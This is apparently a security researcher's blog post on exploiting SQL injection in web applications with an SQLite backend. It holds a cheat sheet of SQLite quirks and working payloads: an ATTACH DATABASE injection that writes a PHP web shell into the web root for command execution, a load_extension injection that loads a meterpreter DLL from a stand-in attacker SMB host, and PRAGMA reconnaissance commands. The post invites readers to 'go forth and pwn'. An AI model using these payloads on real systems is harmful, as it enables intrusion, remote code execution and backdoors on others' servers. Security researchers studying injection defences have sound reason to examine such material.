IntroductionA few months ago I found an SQL injection vulnerability in an enterprisey webapp's help system. Turns out this was stored in a separate database - in SQLite. I had a Google around and could find very little information about exploiting SQLI with SQLite as the backend.. so I went on a hunt, and found some neat tricks. This is almost entirely applicable only to webapps using SQLite - other implementations (in Adobe, Android, Firefox etc) largely don't support the tricks below.
| Comments | -- |
| IF Statements | CASE |
| Concatenation | || |
| Substring | substr(x,y,z) |
| Length | length(stuff) |
| Generate single quote | select substr(quote(hex(0)),1,1); |
| Generate double quote | select cast(X'22' as text); |
| Generate double quote (method 2) | .. VALUES (“<?xml version=“||””””||1|| |
| Space-saving double quote generation | select replace('<?xml version=$1.0$>','$',(select cast(X'22' as text))); |
For some reason, 4x double quotes turns into a single double quote. Quirky, but it works.
What it says on the tin - lets you attach another database for your querying pleasure. Attach another known db on the filesystem that contains interesting stuff - e.g. a configuration database. Better yet - if the designated file doesn't exist, it will be created. You can create this file anywhere on the filesystem that you have write access to. PHP example:
?id=bob’; ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘<? system($_GET[‘cmd’]); ?>’;--
Then of course you can just visit lol.php?cmd=id and enjoy code exec! This requires stacked queries to be a goer.
- A library (.dll for Windows, .so for NIX)
- An entry point (SQLITE_EXTENSION_INIT1 by default)
This is great because
- This technique doesn't require stacked queries
- The obvious - you can load a DLL right off the bat (meterpreter.dll? :)
Unfortunately, this component of SQLite is disabled in the libraries by default. SQLite devs saw the exploitability of this and turned it off. However, some custom libraries have it enabled - for example, one of the more popular Windows ODBC drivers. To make this even better, this particular injection works with UNC paths - so you can remotely load a nasty library over SMB (provided the target server can speak SMB to the Internets). Example:
?name=123 UNION SELECT 1,load_extension('evilhostevilsharemeterpreter.dll','DllMain');--
This works wonderfully :)
If you have direct DB access, you can use PRAGMA commands to find out interesting information:
- PRAGMA database_list; -- Shows info on the attached databases, including location on the FS. e.g. 0|main|/home/vt/haxing/sqlite/how.db
- PRAGMA temp_store_directory = '/filepath'; -- Supposedly sets directory for temp files, but deprecated. This would’ve been pretty sweet with the recent Android journal file permissions bug.
Conclusion / Closing Remarks
SQLite is used in all sorts of crazy places, including Airbus, Adobe, Solaris, browsers, extensively on mobile platforms, etc. There is a lot of potential for further research in these areas (especially mobile) so go forth and pwn!
